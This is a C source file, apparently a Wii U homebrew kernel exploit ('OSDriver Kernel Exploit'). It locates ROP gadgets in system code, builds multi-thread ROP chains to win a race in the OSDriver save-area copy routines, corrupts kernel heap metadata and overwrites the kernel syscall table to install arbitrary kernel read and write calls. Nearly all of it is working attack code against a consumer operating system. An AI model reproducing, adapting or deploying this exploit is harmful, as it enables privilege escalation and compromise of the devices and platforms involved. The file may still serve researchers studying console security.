#include "kexploit.h" void wait(unsigned int coreinit_handle, unsigned int t); void doBrowserShutdown(unsigned int coreinit_handle); void setupOSScreen(unsigned int coreinit_handle); void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos); void exitOSScreen(unsigned int coreinit_handle); void callSysExit(unsigned int coreinit_handle, void *sysFunc); #if (VER >= 532) /* Initial setup code stolen from Pong, makes race much more reliable */ void run_kexploit(private_data_t *private_data) { /* Get a handle to coreinit.rpl and gx2.rpl */ unsigned int coreinit_handle = private_data->coreinit_handle; unsigned int gx2_handle = 0; OSDynLoad_Acquire("gx2.rpl", &gx2_handle); //needed to not destroy screen doBrowserShutdown(coreinit_handle); /* Exit functions */ void (*__PPCExit)(); void (*_Exit)(int); OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); /* Memory functions */ void (*DCFlushRange)(void *buffer, uint32_t length); void (*DCInvalidateRange)(void *buffer, uint32_t length); void (*DCTouchRange)(void *buffer, uint32_t length); uint32_t (*OSEffectiveToPhysical)(void *vaddr); void* (*OSAllocFromSystem)(uint32_t size, int align); void (*OSFreeToSystem)(void *ptr); OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange); OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical); OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); /* OS thread functions */ bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr); int (*OSResumeThread)(void *thread); void (*OSExitThread)(); int (*OSIsThreadTerminated)(void *thread); void (*OSYieldThread)(void); OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); /* OSDriver functions */ uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); /* GX2 functions */ void (*GX2SetSemaphore)(uint64_t *sem, int action); void (*GX2Flush)(void); OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore); OSDynLoad_FindExport(gx2_handle, 0, "GX2Flush", &GX2Flush); /* Allocate space for DRVHAX */ uint32_t *drvhax = OSAllocFromSystem(0x4c, 4); /* Set the kernel heap metadata entry */ uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); metadata[0] = (uint32_t)drvhax; metadata[1] = (uint32_t)-0x4c; metadata[2] = (uint32_t)-1; metadata[3] = (uint32_t)-1; /* Find some gadgets */ uint32_t gx2data[] = {0xfc2a0000}; uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000); uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020}; uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000); uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18; /* Modify a next ptr on the heap */ uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; /* Make a thread to modify the semaphore */ OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000, 8); uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xA0, 0x20); if (!OSCreateThread(thread, (void*)0x11a1dd8, 0, NULL, ((uint32_t)stack) + 0xA0, 0xA0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread"); /* Set up the ROP chain */ thread->gpr[1] = (uint32_t)stack; thread->gpr[3] = kpaddr; thread->gpr[30] = gx2data_addr; thread->gpr[31] = 1; thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C; stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */ stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */ stack[0x2c/4] = 1; /* r31 = 1 (signal) */ stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */ stack[0x38/4] = kpaddr; stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */ stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */ stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */ stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */ stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */ stack[0x94/4] = (uint32_t)OSExitThread; DCFlushRange(thread, 0x1000); DCFlushRange(stack, 0x1000); /* Start the thread */ OSResumeThread(thread); /* Wait for a while */ while(OSIsThreadTerminated(thread) == 0) { OSYieldThread(); } /* Free stuff */ private_data->MEMFreeToDefaultHeap(thread); private_data->MEMFreeToDefaultHeap(stack); /* Register a new OSDriver, DRVHAX */ char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'}; Register(drvname, 6, NULL, NULL); /* Modify its save area to point to the kernel syscall table */ drvhax[0x44/4] = KERN_SYSCALL_TBL + (0x34 * 4); /* Use DRVHAX to install the read and write syscalls */ uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; CopyToSaveArea(drvname, 6, syscalls, 8); /* Clean up the heap and driver list so we can exit */ kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0); kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); /* Modify the kernel address table and exit */ //kern_write(KERN_ADDRESS_TBL + 0x12, 0x31000000); //kern_write(KERN_ADDRESS_TBL + 0x13, 0x28305800); } #else typedef struct { char *drvb_name; void *copy_payload; void *thread0; void *thread2; uint32_t *rop0; uint32_t *rop2; void (*OSYieldThread)(void); int32_t (*OSResumeThread)(void * thread); uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length); } thread_data_container_t; static void thread_callback(int argc, void *argv) { thread_data_container_t *container = (thread_data_container_t*)argv; container->OSYieldThread(); /* Schedule both threads for execution */ container->OSResumeThread(container->thread0); container->OSResumeThread(container->thread2); /* Signal the CPU0 and CPU2 threads to begin */ container->rop0[0x1fc/4] = 0; container->rop2[0x1ac/4] = 0; container->OSYieldThread(); container->CopyToSaveArea(container->drvb_name, 4, container->copy_payload, 0x1000); } /* Initial setup code stolen from Pong, makes race much more reliable */ void run_kexploit(private_data_t *private_data) { unsigned int coreinit_handle, sysapp_handle; OSDynLoad_Acquire("coreinit", &coreinit_handle); OSDynLoad_Acquire("sysapp", &sysapp_handle); //needed to not destroy screen doBrowserShutdown(coreinit_handle); //prints out first message as well setupOSScreen(coreinit_handle); if(KERN_SYSCALL_TBL == 0) { printOSScreenMsg(coreinit_handle, "Your kernel version has not been implemented yet.",1); wait(coreinit_handle, 0x3FFFF); exitOSScreen(coreinit_handle); } //OS Memory functions void*(*memset)(void *dest, uint32_t value, uint32_t bytes); void*(*memcpy)(void *dest, void *src, uint32_t length); void*(*OSAllocFromSystem)(uint32_t size, int align); void (*OSFreeToSystem)(void *ptr); void (*DCFlushRange)(void *buffer, uint32_t length); void (*DCInvalidateRange)(void *buffer, uint32_t length); void (*ICInvalidateRange)(void *buffer, uint32_t length); /* OS thread functions */ bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr); int32_t (*OSResumeThread)(void *thread); int32_t (*OSGetThreadPriority)(void *thread); void * (*OSGetCurrentThread)(void); void (*OSYieldThread)(void); int (*OSIsThreadTerminated)(void *thread); /* Exit functions */ void (*__PPCExit)(); void (*_Exit)(); int(*SYSSwitchToBrowser)(void *args); int(*SYSLaunchSettings)(void *args); /* Read the addresses of the functions */ OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &memcpy); OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &ICInvalidateRange); OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSGetThreadPriority", &OSGetThreadPriority); OSDynLoad_FindExport(coreinit_handle, 0, "OSGetCurrentThread", &OSGetCurrentThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); OSDynLoad_FindExport(sysapp_handle, 0, "SYSSwitchToBrowser", &SYSSwitchToBrowser); OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchSettings", &SYSLaunchSettings); /* Allocate a stack for the threads */ uint32_t stack0 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20); uint32_t stack2 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20); uint32_t stack1 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20); /* Create the threads */ void *thread0 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8); bool ret0 = OSCreateThread(thread0, _Exit, 0, NULL, stack0 + 0x300, 0x300, 0, 1 | 0x10 | 8); void *thread2 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8); bool ret2 = OSCreateThread(thread2, _Exit, 0, NULL, stack2 + 0x300, 0x300, 0, 4 | 0x10 | 8); void *thread1 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8); if (ret0 == false || ret2 == false) { printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1); wait(coreinit_handle, 0x3FFFF); exitOSScreen(coreinit_handle); } printOSScreenMsg(coreinit_handle, "Running Exploit...",1); /* Find a bunch of gadgets */ uint32_t sleep_addr; OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &sleep_addr); sleep_addr += 0x44; uint32_t sigwait[] = {0x801F0000, 0x7C0903A6, 0x4E800421, 0x83FF0004, 0x2C1F0000, 0x4082FFEC, 0x80010014, 0x83E1000C, 0x7C0803A6, 0x38210010, 0x4E800020}; uint32_t sigwait_addr = (uint32_t) find_gadget(sigwait, 0x2c, (uint32_t) __PPCExit); uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, (uint32_t) __PPCExit); uint32_t r5load[] = {0x80A10008, 0x38210010, 0x7CA32B78, 0x80810004, 0x7C8803A6, 0x4E800020}; uint32_t r5load_addr = (uint32_t) find_gadget(r5load, 0x18, (uint32_t) __PPCExit); uint32_t r6load[] = {0x80C10014, 0x90610010, 0x80010010, 0x915E002C, 0x81210008, 0x901E0030, 0x913E0028, 0x90DE0034, 0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020}; uint32_t r6load_addr = (uint32_t) find_gadget(r6load, 0x38, (uint32_t) __PPCExit); uint32_t r30r31load[] = {0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020}; uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, (uint32_t) __PPCExit); /* Find the OSDriver functions */ uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); /* Set up the ROP chain for CPU0 */ OSContext *ctx0 = (OSContext*) thread0; uint32_t *rop0 = (uint32_t*) stack0; ctx0->gpr[1] = stack0 + 0x80; ctx0->gpr[28] = 0; ctx0->gpr[29] = CPU0_WAIT_TIME * 2; ctx0->gpr[31] = stack0 + 0x1f8; ctx0->srr0 = sigwait_addr + 0xc; rop0[0x94/4] = sleep_addr; rop0[0x114/4] = r3r4load_addr; rop0[0x118/4] = stack0 + 0x208; rop0[0x11c/4] = 4; rop0[0x124/4] = r30r31load_addr; rop0[0x14c/4] = stack0 + 0x220; rop0[0x154/4] = sigwait_addr; rop0[0x164/4] = r5load_addr; rop0[0x168/4] = stack0 + 0x218; rop0[0x174/4] = r3r4load_addr; rop0[0x178/4] = stack0 + 0x210; rop0[0x17c/4] = 4; rop0[0x184/4] = r30r31load_addr; rop0[0x1a8/4] = stack0 + 0x230; rop0[0x1b4/4] = r6load_addr; rop0[0x1c4/4] = stack0 + 0x21c; rop0[0x1dc/4] = stack0 + 0x228; rop0[0x1e4/4] = sigwait_addr; rop0[0x1f4/4] = sigwait_addr + 0x28; rop0[0x1f8/4] = sigwait_addr + 0xc; rop0[0x1fc/4] = stack0 + 0x1f8; rop0[0x200/4] = 0; rop0[0x204/4] = 0; rop0[0x208/4] = 0x44525642; rop0[0x20c/4] = 0; rop0[0x210/4] = 0x44525643; rop0[0x214/4] = 0; rop0[0x218/4] = 0; rop0[0x21c/4] = 0; rop0[0x220/4] = (uint32_t)Deregister; rop0[0x224/4] = 0; rop0[0x228/4] = (uint32_t)Register; rop0[0x22c/4] = 0; /* Set up the ROP chain for CPU2 */ OSContext *ctx2 = (OSContext*) thread2; uint32_t *rop2 = (uint32_t*) stack2; ctx2->gpr[1] = stack2 + 0x80; ctx2->gpr[28] = 0; ctx2->gpr[29] = CPU2_WAIT_TIME * 4; ctx2->gpr[31] = stack2 + 0x1a8; ctx2->srr0 = sigwait_addr + 0xc; rop2[0x94/4] = sleep_addr; rop2[0x114/4] = r5load_addr; rop2[0x118/4] = stack2 + 0x204; rop2[0x124/4] = r3r4load_addr; rop2[0x128/4] = stack2 + 0x1b8; rop2[0x12c/4] = 4; rop2[0x134/4] = r30r31load_addr; rop2[0x158/4] = stack2 + 0x1c8; rop2[0x164/4] = r6load_addr; rop2[0x174/4] = 4; rop2[0x18c/4] = stack2 + 0x1c0; rop2[0x194/4] = sigwait_addr; rop2[0x1a4/4] = sigwait_addr + 0x28; rop2[0x1a8/4] = sigwait_addr + 0xc; rop2[0x1ac/4] = stack2 + 0x1a8; rop2[0x1b0/4] = 0; rop2[0x1b4/4] = 0; rop2[0x1b8/4] = 0x44525641; rop2[0x1bc/4] = 0; rop2[0x1c0/4] = (uint32_t)CopyToSaveArea; rop2[0x1c4/4] = 0; rop2[0x204/4] = 0xDEADC0DE; /* Register driver A and driver B */ char *drva_name = private_data->MEMAllocFromDefaultHeapEx(8, 4); memcpy(drva_name, "DRVA", 5); char *drvb_name = private_data->MEMAllocFromDefaultHeapEx(8, 4); memcpy(drvb_name, "DRVB", 5); uint32_t status = Register(drva_name, 4, NULL, NULL) | Register(drvb_name, 4, NULL, NULL); if (status != 0) { printOSScreenMsg(coreinit_handle, "Register() of driver A and B failed! Reloading kernel...",2); wait(coreinit_handle, 0x3FFFF); callSysExit(coreinit_handle,SYSLaunchSettings); exitOSScreen(coreinit_handle); } /* Generate the copy payload, which writes to syscall_table[0x34] */ uint32_t *copy_payload = OSAllocFromSystem(0x1000, 0x20); if (!copy_payload) { printOSScreenMsg(coreinit_handle, "Failed to allocate payload! Reloading kernel...",2); wait(coreinit_handle, 0x3FFFF); callSysExit(coreinit_handle,SYSLaunchSettings); exitOSScreen(coreinit_handle); } copy_payload[0] = 0x01234567; copy_payload[0xfb4/4] = 0x44525648; copy_payload[0xfb8/4] = 0x41580000; copy_payload[0xff4/4] = PFID_BROWSER; copy_payload[0xff8/4] = KERN_SYSCALL_TBL + (0x34 * 4); DCFlushRange(copy_payload, 0x1000); DCInvalidateRange(copy_payload, 0x1000); char *drvhax_name = private_data->MEMAllocFromDefaultHeapEx(8, 4); drvhax_name[7] = 0; memcpy(drvhax_name, "DRVHAX", 7); uint32_t *syscalls = private_data->MEMAllocFromDefaultHeapEx(8, 4); syscalls[0] = KERN_CODE_READ; syscalls[1] = KERN_CODE_WRITE; /* Do a dummy copy to put CopyToSaveArea() in our cache */ CopyToSaveArea(drvb_name, 4, (void*)0xC0000004, 4); thread_data_container_t container; container.drvb_name = drvb_name; container.copy_payload = copy_payload; container.rop0 = rop0; container.rop2 = rop2; container.thread0 = thread0; container.thread2 = thread2; container.OSResumeThread = OSResumeThread; container.OSYieldThread = OSYieldThread; container.CopyToSaveArea = CopyToSaveArea; bool ret3 = OSCreateThread(thread1, thread_callback, 1, &container, stack1 + 0x300, 0x300, OSGetThreadPriority(OSGetCurrentThread()), 2 | 0x10 | 8); OSYieldThread(); /* Schedule both threads for execution */ //OSResumeThread(thread0); //OSResumeThread(thread2); OSResumeThread(thread1); /* Signal the CPU0 and CPU2 threads to begin */ //rop2[0x1ac/4] = 0; //rop0[0x1fc/4] = 0; /* Start copying the payload into driver B's save area */ //CopyToSaveArea(drvb_name, 4, copy_payload, 0x1000); /* The amount of instructions in this loop and the sleep ticks of the other cores can decide whether its a success or not */ while(OSIsThreadTerminated(thread1) == 0) { asm volatile ( " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" ); OSYieldThread(); } /* Use DRVHAX to install the read and write syscalls */ status = CopyToSaveArea(drvhax_name, 6, syscalls, 8); /* Verify that the syscalls were installed */ uint32_t result = 42; status = CopyFromSaveArea(drvhax_name, 6, &result, 4); if (result != KERN_CODE_READ) { printOSScreenMsg(coreinit_handle, "Race attack failed! Reloading kernel...",2); wait(coreinit_handle, 0x3FFFF); callSysExit(coreinit_handle,SYSLaunchSettings); exitOSScreen(coreinit_handle); } /* Search the kernel heap for DRVA and DRVHAX */ uint32_t drva_addr = 0, drvhax_addr = 0; uint32_t metadata_addr = KERN_HEAP + 0x14 + (kern_read((void*)(KERN_HEAP + 0x0c)) * 0x10); while (metadata_addr >= KERN_HEAP + 0x14) { /* Read the data address from the metadata, then read the data */ uint32_t data_addr = kern_read((void*)metadata_addr); uint32_t data = kern_read((void*)data_addr); /* Check for DRVA or DRVHAX, and if both are found, break */ if (data == 0x44525641) drva_addr = data_addr; else if (data == 0x44525648) drvhax_addr = data_addr; if (drva_addr && drvhax_addr) break; /* Go to the previous metadata entry */ metadata_addr -= 0x10; } if (!(drva_addr && drvhax_addr)) { printOSScreenMsg(coreinit_handle, "Failed to find DRVA or DRVHAX! Reloading kernel...",2); wait(coreinit_handle, 0x3FFFF); callSysExit(coreinit_handle,SYSLaunchSettings); exitOSScreen(coreinit_handle); } /* Make DRVHAX point to DRVA to ensure a clean exit */ kern_write((void*)(drvhax_addr + 0x48), drva_addr); private_data->MEMFreeToDefaultHeap(thread0); private_data->MEMFreeToDefaultHeap(thread1); private_data->MEMFreeToDefaultHeap(thread2); private_data->MEMFreeToDefaultHeap((void*)stack0); private_data->MEMFreeToDefaultHeap((void*)stack1); private_data->MEMFreeToDefaultHeap((void*)stack2); //printOSScreenMsg(coreinit_handle, "Success! Re-launch HBL again...",2); //wait(coreinit_handle, 0x3FFFF); //callSysExit(coreinit_handle,SYSSwitchToBrowser); //exitOSScreen(coreinit_handle); } #endif void wait(unsigned int coreinit_handle, unsigned int t) { void (*OSYieldThread)(void); OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); while(t--) { OSYieldThread(); } } void doBrowserShutdown(unsigned int coreinit_handle) { void*(*memset)(void *dest, uint32_t value, uint32_t bytes); void*(*OSAllocFromSystem)(uint32_t size, int align); void (*OSFreeToSystem)(void *ptr); int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b); int(*IM_Close)(int fd); int(*IM_Open)(); OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState); OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close); OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open); //Restart system to get lib access int fd = IM_Open(); void *mem = OSAllocFromSystem(0x100, 64); memset(mem, 0, 0x100); //set restart flag to force quit browser IM_SetDeviceState(fd, mem, 3, 0, 0); IM_Close(fd); OSFreeToSystem(mem); //wait a bit for browser end wait(coreinit_handle, 0x3FFFF); } void drawString(unsigned int coreinit_handle, int x, int y, char * string) { unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, void * buffer); OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); OSScreenPutFontEx(0, x, y, string); OSScreenPutFontEx(1, x, y, string); } void fillScreen(unsigned int coreinit_handle, char r,char g,char b,char a) { unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); uint32_t num = (r << 24) | (g << 16) | (b << 8) | a; OSScreenClearBufferEx(0, num); OSScreenClearBufferEx(1, num); } void flipBuffers(unsigned int coreinit_handle) { void(*DCFlushRange)(void *buffer, uint32_t length); unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum); OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); //Grab the buffer size for each screen (TV and gamepad) int buf0_size = OSScreenGetBufferSizeEx(0); int buf1_size = OSScreenGetBufferSizeEx(1); //Flush the cache DCFlushRange((void *)0xF4000000 + buf0_size, buf1_size); DCFlushRange((void *)0xF4000000, buf0_size); //Flip the buffer OSScreenFlipBuffersEx(0); OSScreenFlipBuffersEx(1); } void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos) { int i; for(i=0;i<2;i++) { fillScreen(coreinit_handle, 0,0,0,0); drawString(coreinit_handle, 0,pos,buf); flipBuffers(coreinit_handle); } } void setupOSScreen(unsigned int coreinit_handle) { void(*OSScreenInit)(); unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); //Call the Screen initilzation function. OSScreenInit(); //Grab the buffer size for each screen (TV and gamepad) int buf0_size = OSScreenGetBufferSizeEx(0); int buf1_size = OSScreenGetBufferSizeEx(1); //Set the buffer area. OSScreenSetBufferEx(0, (void *)0xF4000000); OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size); //Clear both framebuffers. int ii; for (ii = 0; ii < 2; ii++) { fillScreen(coreinit_handle, 0,0,0,0); flipBuffers(coreinit_handle); } printOSScreenMsg(coreinit_handle, "OSDriver Kernel Exploit",0); } void exitOSScreen(unsigned int coreinit_handle) { void (*_Exit)(); OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); //exit only works like this int ii; for(ii = 0; ii < 2; ii++) { fillScreen(coreinit_handle, 0,0,0,0); flipBuffers(coreinit_handle); } _Exit(); } void callSysExit(unsigned int coreinit_handle, void *sysFunc) { void*(*OSAllocFromSystem)(uint32_t size, int align); bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr); int32_t (*OSResumeThread)(void *thread); int (*OSIsThreadTerminated)(void *thread); OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); uint32_t stack1 = (uint32_t) OSAllocFromSystem(0x300, 0x20); void *thread1 = OSAllocFromSystem(OSTHREAD_SIZE, 8); OSCreateThread(thread1, sysFunc, 0, NULL, stack1 + 0x300, 0x300, 0, 0x1A); OSResumeThread(thread1); while(OSIsThreadTerminated(thread1) == 0) { asm volatile ( " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" ); } } /* Simple memcmp() implementation */ int memcmp(void *ptr1, void *ptr2, uint32_t length) { uint8_t *check1 = (uint8_t*) ptr1; uint8_t *check2 = (uint8_t*) ptr2; uint32_t i; for (i = 0; i < length; i++) { if (check1[i] != check2[i]) return 1; } return 0; } void* memcpy(void* dst, const void* src, uint32_t size) { uint32_t i; for (i = 0; i < size; i++) ((uint8_t*) dst)[i] = ((const uint8_t*) src)[i]; return dst; } /* Find a gadget based on a sequence of words */ void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) { uint32_t *ptr; /* Search code before JIT area first */ for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++) { if (!memcmp(ptr, &code[0], length)) return ptr; } /* Restart search after JIT */ for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++) { if (!memcmp(ptr, &code[0], length)) return ptr; } OSFatal("Gadget not found!"); return (void*)0; } /* Read a 32-bit word with kernel permissions */ uint32_t __attribute__ ((noinline)) kern_read(const void *addr) { uint32_t result; asm volatile ( "li 3,1\n" "li 4,0\n" "li 5,0\n" "li 6,0\n" "li 7,0\n" "lis 8,1\n" "mr 9,%1\n" "li 0,0x3400\n" "mr %0,1\n" "sc\n" "nop\n" "mr 1,%0\n" "mr %0,3\n" : "=r"(result) : "b"(addr) : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12" ); return result; } /* Write a 32-bit word with kernel permissions */ void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) { asm volatile ( "li 3,1\n" "li 4,0\n" "mr 5,%1\n" "li 6,0\n" "li 7,0\n" "lis 8,1\n" "mr 9,%0\n" "mr %1,1\n" "li 0,0x3500\n" "sc\n" "nop\n" "mr 1,%1\n" : : "r"(addr), "r"(value) : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12" ); }